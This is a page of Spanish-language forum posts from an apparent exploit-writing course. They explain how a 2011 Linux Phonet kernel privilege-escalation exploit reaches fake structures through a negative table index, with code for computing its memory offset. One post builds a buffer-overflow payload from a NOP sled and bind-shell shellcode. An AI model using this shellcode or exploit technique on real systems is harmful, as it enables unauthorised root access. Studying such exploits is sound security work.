elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15 16 17 18 19
91  Seguridad Informática / Bugs y Exploits / Re: [Videotuto] Exploit local linux 32 y 64 bits en: 8 Marzo 2011, 14:08 pm
Mmmm entonces si no he entendido mal, esto es lo que se supone que hace:

1. Se le pasa a la función socket el protocolo -70
2. Esto hace que proto_tab[protocol] apunte a direcciones más baja:
Código:
0xf8??????     proto {
                               .....
                               .....
                 
                                char name[32];  <-- proto_tab[-70] apuntaria aquí
                              }

0xf8??????     proto_tab{

                                   }

3. La varible "name" tiene valor PHONET, que transformado a Hex y cogiendo 4 bytes (PHON) es 0x4e4f4850

4. En esta dirección en memoria es donde tenemos nuestras estructuras falsas creadas

5. Al hacer la llamada ioctl hacemos que se ejecute el "getroot" de nuestra estructura

¿El exploit funciona como digo?



Exactamente! Mejor explicado imposible.
92  Seguridad Informática / Bugs y Exploits / Re: [Videotuto] Exploit local linux 32 y 64 bits en: 7 Marzo 2011, 23:49 pm
No he comentado que mi version del kernel es la 2.6.37.
neeee, hubieses empezado por ahi!! :xD

Aún así, no entiendo cómo el exploit apunta a esta estructura. ¿A qué parte de ella apunta,a toda o sólo a una parte?
La idea es buscar cuantos bytes tenes hasta el campo char name[32] y eso se le mandas como offset.
93  Seguridad Informática / Bugs y Exploits / Re: [Taller] Curso Exploiting elhacker.net 2011 : Grupo 1 en: 7 Marzo 2011, 20:03 pm
Para eliminar cualquier ambigüedad que pueda haber con el horario:

Jueves 10 a las 21hs CET time!

O sea siempre y cuando esten todos de acuerdo.
94  Seguridad Informática / Bugs y Exploits / Re: [Taller] Curso Exploiting elhacker.net 2011 : Grupo 1 en: 7 Marzo 2011, 19:40 pm
Yo, sintiéndolo mucho, me he de desapuntar del curso, por falta de tiempo más que nada.
:( ahi te mande un pm.

Bueno, tero_34 y CL1O no me han contactado ni por pm :-\. Belial trata de definir tu horario entre hoy y mañana si podes por favor. Viendo maso los horarios y siendo dificil encontrar un horario comun entre varias personas, les parece si fijamos este Jueves 10 a las 21hs? Snaking y alex podrian hacer un esfuerzo o se les complica mucho?.
95  Seguridad Informática / Bugs y Exploits / Re: [Videotuto] Exploit local linux 32 y 64 bits en: 6 Marzo 2011, 12:16 pm
Deberia serlo entonces, sobre todo si te cuelga la maquina xD. Ahi me fije y si, deberia ser vulnerable el tuyo.
Debes tener un problema de offset tambien, probaste compilando el codigo que le pase m3st4ng para obtener el offset?
96  Seguridad Informática / Bugs y Exploits / Re: [Videotuto] Exploit local linux 32 y 64 bits en: 5 Marzo 2011, 21:32 pm
Hola Ivanchuk!!!

Gracias por toda la info que estás  posteando.
Bueno primero te comento la prueba:
He compilado el código que me has pasado y he hecho la prueba... ha fracado...
Ahora bien, estoy aún intentando entender lo que dices... perdona mi ignorancia pero me he perdido un pelín (para eso estoy aprendiendo).
Me imagino que esto que comentas lo estarás mirando en el /proc/kallsyms no¿?
Perdona si no te contesto con rapidez, casi no tengo tiempo para mirar el foro y hemos para probar.

Muchas gracias

Si mirando /proc/kallsyms y por como el exploit aprovecha el error. El error me cuesta un poco explicarlo pero te muestro con un ejemplo sino, imaginate que tenes un arreglo de punteros a chars
Código
  1. char *proto_tab[3];

Y que mas tarde tenes una funcion que hace esto
Código
  1. char *ptr = proto_tab[index];
  2.  

Y ponete a pensar que pasa si index es negativo, a donde apuntaria ptr?.

Ahi modifique el codigo para que obtengas un offset segun las config de tu kernel y ademas saque la definicion de proto del source del build de mi kernel que resulto ser un poco diferente al codigo que te puse antes (la idea seria que vos las saques del tuyo).
Código
  1. #include <linux/autoconf.h>
  2. #include <stdio.h>
  3.  
  4. #define CONFIG_COMPAT 1
  5.  
  6. struct proto {
  7. void *ptr_1[10];
  8. #ifdef CONFIG_COMPAT
  9. void *ptr_2[2];
  10. #endif
  11. void *ptr_3[8];
  12. #ifdef CONFIG_PROC_FS
  13. unsigned int inuse_idx;
  14. #endif
  15. void *ptr_4[7];
  16. int max_header;
  17. void *ptr_5[5];
  18. unsigned int obj_size;
  19. int slab_flags;
  20. // char name[32];
  21. };
  22.  
  23. int main() {
  24. printf("#define SYM_OFFSET 0x%x\n", sizeof(struct proto));
  25. }
  26.  

Compilalo asi
Código
  1. gcc -I/lib/modules/`uname -r`/build/include test.c
  2.  

Te cuento que lo compile y con CONFIG_COMPAT definida me dio 0x90, lo mismo que en el exploit. Si te da lo mismo, proba sacar el define CONFIG_COMPAT.

Bueno, fijate compilando ese codigo y contanos.

Si queres sacar exactamente el offset correcto no se me ocurre otra que dumpear la memoria virtual del kernel.

@andres_5:
Podes poner la version del kernel que tenes? Pegate la salida de
Código
  1. uname -r

Porq el error lo parchearon el 10 de enero.
97  Seguridad Informática / Bugs y Exploits / Re: ¿Qué pasa con mi buffer? en: 4 Marzo 2011, 14:16 pm
Hola Sagrini,

La debes tener dos veces porq primero la recibis en buffer y despues llamas a handle_connect que la copia a buff.
Otro detalle, tene cuidado cuando armas el payload
Código
  1. char nops [168];
  2. memset (nops, '\x90', 168);
  3. puts (nops);
  4. char shellcode [93] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
  5. "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
  6. "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
  7. "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
  8. "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  9. "\xcd\x80";
  10. char ret [6] = "AAAA\x90";
  11. char command [265];
  12. strcpy (command, nops);
  13. strcat (command, shellcode);
  14. strcat (command, ret);
  15.  

Si usas memset, el caracter nulo que marca el final del string no te lo agrega.
Código
  1. char nops [168];
  2. memset (nops, '\x90', 168);
  3.  

Y despues strcpy o strcat hacen cualquier cosa. Cuando inicializas los char [] no hay problema, el compilador te los agrega automaticamente.

Aca te lo pase en limpio (en c++) espero que te sirva

Código
  1. #include <iostream>
  2.  
  3. using namespace std;
  4.  
  5. int main (int argc, char *argv [])
  6. {
  7. string nops(168, '\x90');
  8.  
  9. string shellcode("\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
  10. "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
  11. "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
  12. "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
  13. "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  14. "\xcd\x80");
  15.  
  16. string ret("AAAA\x90");
  17.  
  18. string command(nops + shellcode + ret);
  19.  
  20. cout << command;
  21.  
  22. return 0;
  23. }
  24.  

Lo podes verificar con hexdump si queres
Código
  1. $./a.out | hexdump -v
  2.  

Saludos
98  Seguridad Informática / Bugs y Exploits / Re: [Videotuto] Exploit local linux 32 y 64 bits en: 3 Marzo 2011, 18:03 pm
M3st4ng,

Capaz que no me explique muy bien. Para resumir el valor que necesitas ponerle a SYM_OFFSET lo podes sacar asi:

Código
  1. #include <iostream>
  2.  
  3. using namespace std;
  4.  
  5. #define CONFIG_COMPAT 1
  6. #define CONFIG_PROC_FS 1
  7.  
  8. struct proto {
  9. void *ptrs_1[10];
  10. #ifdef CONFIG_COMPAT
  11. void *ptrs_2[3];
  12. #endif
  13. void *ptrs_3[10];
  14. #ifdef CONFIG_PROC_FS
  15. unsigned int inuse_idx;
  16. #endif
  17. void *ptrs_4[7];
  18. int max_header;
  19. bool no_autobind;
  20. void *ptrs_5;
  21. unsigned int obj_size;
  22. int slab_flags;
  23. void *ptrs_6[5];
  24. // char name[32];
  25. };
  26.  
  27. int main() {
  28. cout << "#define SYM_OFFSET 0x" << hex << sizeof(struct proto) << endl;
  29. }
  30.  

Compilalo con g++, ejecutalo y proba con el valor que te tire.

Los punteros que le agregue los conte de la estructura proto que tengo definida en include/net/sock.h:726, te la pego aca para que la puedas comparar con la tuya.

Código
  1. struct proto {
  2. void (*close)(struct sock *sk,
  3. long timeout);
  4. int (*connect)(struct sock *sk,
  5.        struct sockaddr *uaddr,
  6. int addr_len);
  7. int (*disconnect)(struct sock *sk, int flags);
  8.  
  9. struct sock * (*accept) (struct sock *sk, int flags, int *err);
  10.  
  11. int (*ioctl)(struct sock *sk, int cmd,
  12. unsigned long arg);
  13. int (*init)(struct sock *sk);
  14. void (*destroy)(struct sock *sk);
  15. void (*shutdown)(struct sock *sk, int how);
  16. int (*setsockopt)(struct sock *sk, int level,
  17. int optname, char __user *optval,
  18. unsigned int optlen);
  19. int (*getsockopt)(struct sock *sk, int level,
  20. int optname, char __user *optval,
  21. int __user *option);  
  22. #ifdef CONFIG_COMPAT
  23. int (*compat_setsockopt)(struct sock *sk,
  24. int level,
  25. int optname, char __user *optval,
  26. unsigned int optlen);
  27. int (*compat_getsockopt)(struct sock *sk,
  28. int level,
  29. int optname, char __user *optval,
  30. int __user *option);
  31. int (*compat_ioctl)(struct sock *sk,
  32. unsigned int cmd, unsigned long arg);
  33. #endif
  34. int (*sendmsg)(struct kiocb *iocb, struct sock *sk,
  35.   struct msghdr *msg, size_t len);
  36. int (*recvmsg)(struct kiocb *iocb, struct sock *sk,
  37.   struct msghdr *msg,
  38. size_t len, int noblock, int flags,
  39. int *addr_len);
  40. int (*sendpage)(struct sock *sk, struct page *page,
  41. int offset, size_t size, int flags);
  42. int (*bind)(struct sock *sk,
  43. struct sockaddr *uaddr, int addr_len);
  44.  
  45. int (*backlog_rcv) (struct sock *sk,
  46. struct sk_buff *skb);
  47.  
  48. /* Keeping track of sk's, looking them up, and port selection methods. */
  49. void (*hash)(struct sock *sk);
  50. void (*unhash)(struct sock *sk);
  51. void (*rehash)(struct sock *sk);
  52. int (*get_port)(struct sock *sk, unsigned short snum);
  53. void (*clear_sk)(struct sock *sk, int size);
  54.  
  55. /* Keeping track of sockets in use */
  56. #ifdef CONFIG_PROC_FS
  57. unsigned int inuse_idx;
  58. #endif
  59.  
  60. /* Memory pressure */
  61. void (*enter_memory_pressure)(struct sock *sk);
  62. atomic_long_t *memory_allocated; /* Current allocated memory. */
  63. struct percpu_counter *sockets_allocated; /* Current number of sockets. */
  64. /*
  65. * Pressure flag: try to collapse.
  66. * Technical note: it is used by multiple contexts non atomically.
  67. * All the __sk_mem_schedule() is of this nature: accounting
  68. * is strict, actions are advisory and have some latency.
  69. */
  70. int *memory_pressure;
  71. long *sysctl_mem;
  72. int *sysctl_wmem;
  73. int *sysctl_rmem;
  74. int max_header;
  75. bool no_autobind;
  76.  
  77. struct kmem_cache *slab;
  78. unsigned int obj_size;
  79. int slab_flags;
  80.  
  81. struct percpu_counter *orphan_count;
  82.  
  83. struct request_sock_ops *rsk_prot;
  84. struct timewait_sock_ops *twsk_prot;
  85.  
  86. union {
  87. struct inet_hashinfo *hashinfo;
  88. struct udp_table *udp_table;
  89. struct raw_hashinfo *raw_hash;
  90. } h;
  91.  
  92. struct module *owner; // 41 ptrs until here
  93.  
  94. char name[32];
  95.  
  96. struct list_head node; // include/linux/types.h  2 ptrs
  97. #ifdef SOCK_REFCNT_DEBUG
  98. atomic_t socks; // include/linux/types.h  1 int
  99. #endif
  100. };
  101.  

Proba y avisanos como te fue!
99  Seguridad Informática / Bugs y Exploits / Re: [Videotuto] Exploit local linux 32 y 64 bits en: 2 Marzo 2011, 20:23 pm
Se me acaba de ocurrir que sea posible que justo al offset pn_proto + SYM_OFFSET exista el valor SYM_ADDRESS y de esa manera referenciar las estructuras falsas! De hecho ahi me fije y mirando bien encontre algo interesante:

SYM_ADDRESS =  0x4e4f4850 pasandolo a ascii (sisi a ascii!) ===> "NOHP" ... "PHON" en little endian ;D

Y mirando pn_proto

Código
  1. static struct proto pn_proto = {
  2. .close = pn_sock_close,
  3.        [...]
  4. .name = "PHONET", // aca esta lo que busca con SYM_OFFSET!
  5. };
  6.  

Mirando la estructura proto:

Código
  1. struct proto {
  2. void (*close)(struct sock *sk,
  3. long timeout);
  4.       [...]
  5. #ifdef CONFIG_COMPAT
  6. int (*compat_setsockopt)(struct sock *sk,
  7. int level,
  8. int optname, char __user *optval,
  9. unsigned int optlen);
  10.       [...]
  11. #endif
  12.  
  13.       [...]
  14.  
  15. #ifdef CONFIG_PROC_FS
  16. unsigned int inuse_idx;
  17. #endif
  18.  
  19. struct module *owner;
  20.  
  21. char name[32];
  22.  
  23.       [...]
  24. };
  25.  

Si cuando se compilo tu kernel esas macros que se ven estaban activadas habria que contar la cantidad de bytes que tenes hasta name y ponerle ese valor a SYM_OFFSET.

Sinceramente muy bueno lo de Joe Sylve usando el string "PHONET" para referenciar sus estructuras. Comparado al exploit de Rosenberg, le cago a cachetadas ;D, le tiro una onda "Rose, dejame a mi que vos no tenes ni idea" jaja.
100  Seguridad Informática / Bugs y Exploits / Re: [Videotuto] Exploit local linux 32 y 64 bits en: 2 Marzo 2011, 19:41 pm
mmh, estuve viendo y no llego a nada concreto,

Código
  1. proto = -((proto_tab - low_kern_sym) / sizeof(void *));

Pasado en limpio:

Código
  1. proto = -((proto_tab - (pn_proto + SYM_OFFSET)) / sizeof(void *));

Da la impresion que trata de referenciar la estructura pn_dgram_proto (net/phonet/datagram.c:200) que esta justo despues de pn_proto. Con
proto_tab - (pn_proto +SYM_OFFSET) llevas el puntero proto_tab[] 70 lugares mas arriba (direcciones bajas) justo despues de pn_proto para apuntar a pn_dgram_proto que es una estructura de tipo phonet_protocol, o sea que en teoria deberia pasar todas las verificaciones correctamente.
Si esa es la idea entonces lo que puede pasar es que tu SYM_OFFSET no se corresponda con tu driver. El valor que le tenes que meter es el tamaño de pn_proto (include/net/sock.h:726). Igual no estoy seguro porque si quisiese agarrar un puntero a pn_dgram_proto ya lo habria sacado desde /proc/kallsyms directamente evitandose la macro SYM_OFFSET.

Por eso sigo confundido, todavia no se como hace para que se referencien las estructuras falsas a partir de la dir SYM_ADDRESS. Porque por lo que pude entender es esa la idea, las estructuras son las mismas que las variables phonet_dgram_ops (net/phonet/socket.c:461) y pn_dgram_proto (net/phonet/datagram.c:200). Y encima estan bien armadas para pasar las verificaciones (try_module(), sock_type, etc) agarrando un puntero a pn_proto y falsificando el otro puntero para cambiar la ioctl:

Código
  1.    const struct proto_ops_skel fake_proto_ops2 = {
  2.            .family     = AF_PHONET,  
  3.            .ioctl      = &getroot,
  4.    };    
  5.  
  6.    struct phonet_protocol_skel pps = {
  7.            .ops = (void *) &fake_proto_ops2,
  8.            .prot = (void *) pn_proto,
  9.            .sock_type = SOCK_DGRAM,
  10.    };

Seguire viendo a ver si llego a algo...
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15 16 17 18 19
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines